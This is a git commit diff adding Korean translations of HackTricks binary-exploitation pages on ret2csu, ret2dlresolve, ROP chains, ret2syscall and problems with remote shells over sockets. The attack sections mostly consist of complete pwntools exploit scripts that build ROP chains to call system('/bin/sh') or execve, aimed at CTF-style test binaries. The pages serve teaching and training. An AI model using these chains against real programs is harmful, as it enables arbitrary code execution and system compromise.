Translated ['reversing-and-exploiting/linux-exploiting-basic-esp/common-

This commit is contained in:
Translator 2024-03-31 17:34:20 +00:00
parent 26d9f6373b
commit 9f80f9316b
8 changed files with 520 additions and 29 deletions

View file

@ -699,10 +699,13 @@
* [Leaking libc address with ROP](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md)
* [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
* [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md)
* [EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ebp2ret-ebp-chaining.md)
* [Stack Pivoting - EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
* [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
* [Ret2esp / Ret2reg](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md)
* [SROP - Sigreturn-Oriented Programming](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md)
* [Ret2dlresolve](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md)
* [Ret2csu](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md)
* [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
* [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md)
* [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md)
@ -720,6 +723,7 @@
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
* [AW2Exec - \_\_malloc\_hook](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
* [Common Exploiting Problems](reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md)
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
* [Exploiting Tools](exploiting/tools/README.md)

View file

@ -0,0 +1,56 @@
# 일반적인 Exploiting 문제
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong></summary>
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점적인 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**하세요.
</details>
## 원격 Exploitation에서의 FDs
예를 들어 **`system('/bin/sh')`**를 호출하는 원격 서버로 exploit을 전송할 때, 이는 서버 프로세스에서 실행되며, `/bin/sh`는 stdin(FD: `0`)에서 입력을 기대하고 stdout 및 stderr(FDs `1``2`)에서 출력을 출력할 것입니다. 따라서 공격자는 셸과 상호 작용할 수 없게 됩니다.
이를 해결하는 한 가지 방법은 서버가 시작될 때 **FD 번호 `3`** (청취용)를 생성했다고 가정하고, 그 후에 연결이 **FD 번호 `4`**에 있을 것이라고 가정하는 것입니다. 따라서, **`dup2`** 시스템 호출을 사용하여 stdin(FD 0)과 stdout(FD 1)를 공격자 연결의 FD 4(연결의 FD)에 복제하여 실행된 후 셸에 연락할 수 있게 만들 수 있습니다.
[**여기에서 exploit 예시**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit)
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```
## Socat & pty
socat는 이미 `stdin``stdout`를 소켓으로 전송합니다. 그러나 `pty` 모드에는 **DELETE 문자가 포함**됩니다. 따라서 `\x7f` (`DELETE` -)를 보내면 exploit의 이전 문자가 **삭제**됩니다.
이를 우회하려면 **이스케이프 문자 `\x16`을 보내려는 모든 `\x7f` 앞에 추가**해야 합니다.
**여기에서** [**이 동작의 예제를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
* **사이버 보안 회사에서 일하시나요? 귀하의 회사를 HackTricks에서 광고하고 싶으신가요? 또는 최신 버전의 PEASS에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요?** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
* [**💬**](https://emojipedia.org/speech-balloon/) **Discord 그룹**에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
* **해킹 요령을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요**.
</details>

View file

@ -0,0 +1,87 @@
# Ret2csu
<details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
다른 HackTricks 지원 방법:
- **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
- **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>
## 기본 정보
**ret2csu**는 프로그램의 동작을 조작하는 데 사용되는 해킹 기술로, 일반적으로 프로그램의 동작을 조작하는 데 사용하는 **가젯**을 찾을 수 없을 때 사용됩니다.
프로그램이 특정 라이브러리(예: libc)를 사용하는 경우, 프로그램의 다른 부분이 서로 통신하는 방법을 관리하는 데 사용되는 내장 함수가 있습니다. 이러한 함수 중에는 특히 `__libc_csu_init`라는 함수가 있습니다.
### \_\_libc\_csu\_init의 마법 가젯
`__libc_csu_init`에는 두 개의 명령어 시퀀스(우리의 "마법 가젯")가 있습니다.
1. 첫 번째 시퀀스를 사용하면 여러 레지스터(rbx, rbp, r12, r13, r14, r15)에 값을 설정할 수 있습니다. 이는 나중에 사용할 숫자나 주소를 저장할 수 있는 슬롯과 같습니다.
```armasm
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;
```
이 가젯은 스택에서 값을 팝하여 레지스터를 제어할 수 있게 합니다.
2. 두 번째 시퀀스는 설정한 값들을 사용하여 몇 가지 작업을 수행합니다:
* **특정 값들을 다른 레지스터로 이동**하여 함수의 매개변수로 사용할 준비를 합니다.
* r15과 rbx의 값을 더한 후 rbx를 8로 곱하여 결정된 위치로 **호출을 수행**합니다.
```
mov rdx, r14;
mov rsi, r13;
mov edi, r12d;
call qword [r15 + rbx*8];
```
## 예시
시스템 호출을 하거나 `write()`와 같은 함수를 호출하려면 `rdx``rsi` 레지스터에 특정 값이 필요한 경우를 상상해보세요. 일반적으로 이러한 레지스터를 직접 설정하는 가젯을 찾겠지만, 찾을 수 없는 경우도 있습니다.
여기서 **ret2csu**가 등장합니다:
1. **레지스터 설정**: 첫 번째 매직 가젯을 사용하여 스택에서 값을 뽑아내어 rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) 및 r15로 이동합니다.
2. **두 번째 가젯 사용**: 이러한 레지스터가 설정된 상태에서 두 번째 가젯을 사용합니다. 이를 통해 선택한 값들을 `rdx``rsi`로 이동시킬 수 있습니다 (각각 r14 및 r13에서). 이로써 함수 호출을 위한 매개변수를 준비합니다. 더불어, `r15``rbx`를 제어함으로써, 계산하고 `[r15 + rbx*8]`에 배치한 주소에 있는 함수를 호출할 수 있습니다.
[**이 기술을 사용하고 설명하는 예시**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)가 있으며, 이것은 사용된 최종 익스플로잇입니다:
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
{% hint style="warning" %}
이전 exploit은 **`RCE`**를 수행하는 것이 아니라, `win` 함수를 호출하기 위한 것입니다 (`win` 함수의 주소를 stdin에서 gets를 호출하여 ROP 체인에 저장하고 세 번째 인자로 값 `0xdeadbeefcafed00d`를 전달).
{% endhint %}
### 왜 직접 libc를 사용하지 않는가?
보통 이러한 경우는 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)에 취약하지만, 때로는 libc에서 직접 찾은 가젯으로 쉽게 제어할 수 없는 매개변수를 더 제어해야 하는 경우가 있습니다. 예를 들어, `write()` 함수는 세 개의 매개변수가 필요하며, **이를 직접 설정하는 가젯을 찾는 것이 불가능할 수도** 있습니다.

View file

@ -0,0 +1,88 @@
# Ret2dlresolve
<details>
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요**.
</details>
## 기본 정보
[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) 및 [**Relro**](../common-binary-protections-and-bypasses/relro.md) 페이지에서 설명한 대로, Full Relro가 없는 이진 파일은 사용될 때 처음으로 심볼(외부 라이브러리 주소 등)을 해결합니다. 이 해결은 **`_dl_runtime_resolve`** 함수를 호출하여 발생합니다.
**`_dl_runtime_resolve`** 함수는 해결해야 하는 지정된 심볼을 해결하는 데 필요한 일부 구조에 대한 스택 참조를 가져옵니다.
따라서 **가짜로 모든 이러한 구조를 만들어** 요청된 심볼(예: **`system`** 함수)을 동적으로 연결하여 구성된 매개변수(예: **`system('/bin/sh')`**)로 호출할 수 있습니다.
보통, 이러한 모든 구조는 **쓰기 가능한 메모리에서 `read`를 호출하는 초기 ROP 체인을 만들어** 가짜로 만들며, 그런 다음 **구조체** 및 문자열 **`'/bin/sh'`**이 전달되어 알려진 위치에 읽혀 저장되고, 그런 다음 ROP 체인이 **`_dl_runtime_resolve`**를 호출하여 `$'/bin/sh'` 주소로 이동합니다.
{% hint style="success" %}
이 기술은 특히 시스템 호출 가젯(예: [**ret2syscall**](rop-syscall-execv.md) 또는 [SROP](srop-sigreturn-oriented-programming.md)와 같은 기술을 사용할 수 없는 경우 및 libc 주소를 노출할 수 있는 방법이 없는 경우에 유용합니다.
{% endhint %}
이 기술에 대한 더 나은 설명은 다음 비디오의 후반부에서 찾을 수 있습니다:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## 구조
**`JMPREL`**, **`STRTAB`**, **`SYMTAB`** 3가지 구조를 가짜로 만들어야 합니다. 이러한 구조체가 어떻게 구축되는지에 대한 더 나은 설명은 [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)에서 찾을 수 있습니다.
## 공격 요약
1. 어딘가에 가짜 구조를 작성합니다.
2. 시스템의 첫 번째 인수를 설정합니다(`$rdi = &'/bin/sh'`).
3. **`_dl_runtime_resolve`**를 호출하기 위해 구조체의 주소를 스택에 설정합니다.
4. **`_dl_runtime_resolve`**를 호출합니다.
5. `'/bin/sh'`를 인수로 사용하여 **`system`**이 해결되고 호출됩니다.
## 예시
[**이 기술의 예시를 여기에서 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **최종 ROP 체인에 대한 매우 좋은 설명이 포함**되어 있지만, 여기서 사용된 최종 악용은 다음과 같습니다:
```python
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
log.info(rop.dump())
p.sendline(rop.chain())
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
p.interactive()
```
## 참고 자료
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
<details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details>

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배우세요!</summary>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
HackTricks를 지원하는 다른 방법:
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
- **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
- **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
</details>
@ -21,7 +21,7 @@ HackTricks를 지원하는 다른 방법:
### ROP 작동 방식
1. **제어 흐름 탈취**: 먼저, 공격자는 프로그램의 제어 흐름을 탈취해야 합니다. 일반적으로 버퍼 오버플로우를 이용하여 스택에 저장된 반환 주소를 덮어씁니다.
2. **가젯 체이닝**: 그런 다음 공격자는 원하는 작업을 수행하기 위해 주의 깊게 가젯을 선택하고 연결합니다. 이는 함수 호출의 인수를 설정하고 함수를 호출하며(`system("/bin/sh")`과 같은), 필요한 정리 추가 작업을 처리하는 것을 포함할 수 있습니다.
2. **가젯 체이닝**: 그런 다음 공격자는 원하는 작업을 수행하기 위해 주의 깊게 가젯을 선택하고 연결합니다. 이는 함수 호출의 인수를 설정하고 함수를 호출하며(`system("/bin/sh")`과 같은), 필요한 정리 또는 추가 작업을 처리하는 것을 포함할 수 있습니다.
3. **페이로드 실행**: 취약한 함수가 반환될 때, 합법적인 위치로 반환하는 대신 가젯 체인을 실행하기 시작합니다.
## x86 예제에서 ROP 체인
@ -45,7 +45,7 @@ HackTricks를 지원하는 다른 방법:
**pwntools**를 사용하여 ROP 체인 실행을 위해 스택을 준비하는 방법은 다음과 같습니다. `system('/bin/sh')`을 실행하도록 목표로 하며, 체인이 다음과 같이 시작하는 것에 주목하세요:
1. 정렬 목적을 위한 `ret` 명령(선택 사항)
2. `system` 함수의 주소 (ASLR 비활성화되고 알려진 libc를 가정, 자세한 정보는 [**Ret2lib**](ret2lib/) 참조)
2. `system` 함수의 주소 (ASLR 비활성화 알려진 libc를 가정, 자세한 정보는 [**Ret2lib**](ret2lib/) 참조)
3. `system()`에서의 반환 주소를 위한 자리 표시자
4. `"/bin/sh"` 문자열 주소 (system 함수의 매개변수)
```python
@ -91,10 +91,10 @@ p.interactive()
#### **가젯 찾기**
우리의 목적을 위해, **RDI** 레지스터를 설정할 수 있는 가젯들에 초점을 맞추어 보겠습니다 (**system()**에 **"/bin/sh"** 문자열을 인수로 전달하기 위함) 그리고 **system()** 함수를 호출합니다. 다음과 같은 가젯들을 식별했다고 가정해봅시다:
우리의 목적을 위해, **RDI** 레지스터를 설정할 수 있는 가젯들에 집중하고 (**system()**에 **"/bin/sh"** 문자열을 전달하기 위한 인수로) **system()** 함수를 호출합니다. 다음 가젯들을 식별했다고 가정해 봅시다:
* **pop rdi; ret**: 스택의 최상위 값을 **RDI**로 팝하고 반환합니다. **system()**에 대한 인수 설정에 필수적입니다.
* **ret**: 간단한 반환으로, 특정 시나리오에서 스택 정렬에 유용합니다.
* **pop rdi; ret**: 스택의 최상위 값을 **RDI**로 팝하고 반환합니다. **system()**에 대한 인수를 설정하는 데 필수적입니다.
* **ret**: 간단한 반환으로, 일부 시나리오에서 스택 정렬에 유용합니다.
그리고 **system()** 함수의 주소를 알고 있다고 가정합니다.
@ -137,12 +137,12 @@ p.interactive()
```
### 스택 정렬
**x86-64 ABI**는 **call 명령어**가 실행될 때 **스택이 16바이트 정렬**되어 있음을 보장합니다. **LIBC**는 성능을 최적화하기 위해 **SSE 명령어** (예: **movaps**)를 사용하는데, 이는 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면 (즉, **RSP**가 16의 배수가 아닌 경우) **system**과 같은 함수 호출이 **ROP chain**에서 실패할 수 있습니다. 이를 해결하기 위해 ROP chain에서 **system**을 호출하기 전에 **ret gadget**을 추가하면 됩니다.
**x86-64 ABI**는 **call 명령어**가 실행될 때 **스택이 16바이트 정렬**되도록 보장합니다. **LIBC**는 성능을 최적화하기 위해 **movaps**와 같은 **SSE 명령어**를 사용하는데, 이는 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면 (**RSP**가 16의 배수가 아닌 경우) **system**과 같은 함수 호출이 **ROP chain**에서 실패할 수 있습니다. 이를 해결하기 위해 ROP chain에서 **system**을 호출하기 전에 간단히 **ret gadget**을 추가하면 됩니다.
## x86 대 x64 주요 차이점
{% hint style="success" %}
x64는 처음 몇 인자에 대해 레지스터를 사용하므로 간단한 함수 호출에 대해 x86보다 더 적은 가젯이 필요하지만, 올바른 가젯을 찾고 연결하는 것은 레지스터 수의 증가와 주소 공간의 확대로 인해 더 복잡할 수 있습니다. **x64** 아키텍처의 증가한 레지스터 수와 주소 공간은 특히 Return-Oriented Programming (ROP)의 맥락에서 exploit 개발에 대한 기회와 도전을 제공합니다.
x64는 처음 몇 인자에 대해 레지스터를 사용하므로 간단한 함수 호출에는 x86보다 적은 가젯이 필요하지만, 올바른 가젯을 찾고 연결하는 것은 레지스터 수의 증가와 주소 공간의 확대로 인해 더 복잡할 수 있습니다. **x64** 아키텍처의 증가한 레지스터 수와 주소 공간은 특히 Return-Oriented Programming (ROP)의 맥락에서 exploit 개발에 기회와 도전을 제공합니다.
{% endhint %}
## 보호 기능
@ -150,15 +150,15 @@ x64는 처음 몇 인자에 대해 레지스터를 사용하므로 간단한 함
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
* [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/)
## 다른 예제 및 참
## 다른 예제 및 참고 자료
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
## ROP 기반 기술
ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 유의하십시오. ROP를 기반으로 한 많은 Ret2XXX 기술이 개발되었습니다:
ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 주목하세요. ROP를 기반으로 한 많은 Ret2XXX 기술이 개발되었습니다:
* **Ret2lib**: 로드된 라이브러리에서 임의의 매개변수로 임의의 함수를 호출하기 위해 ROP를 사용합니다 (일반적으로 `system('/bin/sh')`와 같은 것).
* **Ret2lib**: ROP를 사용하여 로드된 라이브러리에서 임의의 매개변수로 임의의 함수를 호출합니다 (일반적으로 `system('/bin/sh')`와 같은 것).
{% content-ref url="ret2lib/" %}
[ret2lib](ret2lib/)
@ -170,8 +170,8 @@ ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 유의하십
[rop-syscall-execv.md](rop-syscall-execv.md)
{% endcontent-ref %}
* **EBP2Ret 및 EBP Chaining**: 첫 번째는 EIP 대신 EBP를 악용하여 흐름을 제어하고, 두 번째는 Ret2lib와 유사하지만 이 경우 흐름은 주로 EBP 주소로 제어됩니다 (물론 EIP를 제어하는 것도 필요합니다).
* **EBP2Ret 및 EBP Chaining**: 첫 번째는 EIP 대신 EBP를 남용하여 흐름을 제어하고, 두 번째는 Ret2lib과 유사하지만 이 경우 흐름은 주로 EBP 주소로 제어됩니다 (물론 EIP를 제어해야 함).
{% content-ref url="ebp2ret-ebp-chaining.md" %}
[ebp2ret-ebp-chaining.md](ebp2ret-ebp-chaining.md)
{% content-ref url="stack-pivoting-ebp2ret-ebp-chaining.md" %}
[stack-pivoting-ebp2ret-ebp-chaining.md](stack-pivoting-ebp2ret-ebp-chaining.md)
{% endcontent-ref %}

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
HackTricks를 지원하는 다른 방법:
@ -16,18 +16,16 @@ HackTricks를 지원하는 다른 방법:
## 기본 정보
Ret2lib와 유사하지만, 이 경우에는 라이브러리에서 함수를 호출하지 않을 것입니다. 이 경우에는 `sys_execve` 시스템 호출을 호출하기 위해 `/bin/sh`를 실행하는 인수와 함께 모든 것이 준비될 것입니다.
것은 Ret2lib와 유사하지만, 이 경우에는 라이브러리에서 함수를 호출하지 않을 것입니다. 이 경우에는 `sys_execve` 시스템 호출을 호출하기 위해 `/bin/sh`를 실행하는 인수를 사용하여 모든 것이 준비될 것입니다.
**시스템 호출**을 준비하기 위해서는 다음 구성이 필요합니다:
**시스템 호출**을 호출하기 위해 다음 구성이 필요합니다:
* `rax: 59 sys_execve 지정`
* `rdi: "/bin/sh"를 가리키는 포인터 실행할 파일 지정`
* `rsi: 0 전달된 인수 없음 지정`
* `rdx: 0 전달된 환경 변수 없음 지정`
따라서 기본적으로 문자열 `/bin/sh`를 어딘가에 쓰고, 그런 다음 `syscall`을 수행해야 합니다(스택을 제어하기 위해 필요한 패딩을 고려).
이를 위해 알려진 영역에 `/bin/sh`를 쓸 가젯이 필요합니다.
따라서 기본적으로 문자열 `/bin/sh`를 어딘가에 쓰고, 그런 다음 `syscall`을 수행해야 합니다(스택을 제어하기 위해 필요한 패딩을 고려하여). 이를 위해 `/bin/sh`를 알려진 영역에 쓰기 위한 가젯이 필요합니다.
{% hint style="success" %}
호출할 또 다른 흥미로운 시스템 호출은 **`mprotect`**이며, 이를 통해 공격자가 **메모리의 페이지 권한을 수정**할 수 있습니다.
@ -43,7 +41,7 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
이 주소들을 사용하면 **스택에 내용을 작성하고 레지스터에로드**할 수 있습니다.
다음 주소를 사용하여 **스택에 내용을 작성하고 레지스터에로드**할 수 있습니다.
## 문자열 작성
@ -58,7 +56,7 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
### 문자열 작성
### 메모리에 문자열 작성
그런 다음이 주소에 임의의 내용을 작성하는 방법을 찾아야합니다.
```python
@ -103,6 +101,14 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
## 부족한 가젯
만약 메모리에 `/bin/sh`를 작성할 가젯이 **부족한 경우**, **SROP 기술을 사용하여 스택에서 모든 레지스터 값(포함하여 RIP 및 매개변수 레지스터)을 제어**할 수 있습니다:
{% content-ref url="srop-sigreturn-oriented-programming.md" %}
[srop-sigreturn-oriented-programming.md](srop-sigreturn-oriented-programming.md)
{% endcontent-ref %}
## 예제
```python
from pwn import *
@ -176,14 +182,14 @@ target.interactive()
<details>
<summary><strong>제로부터 히어로가 되는 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
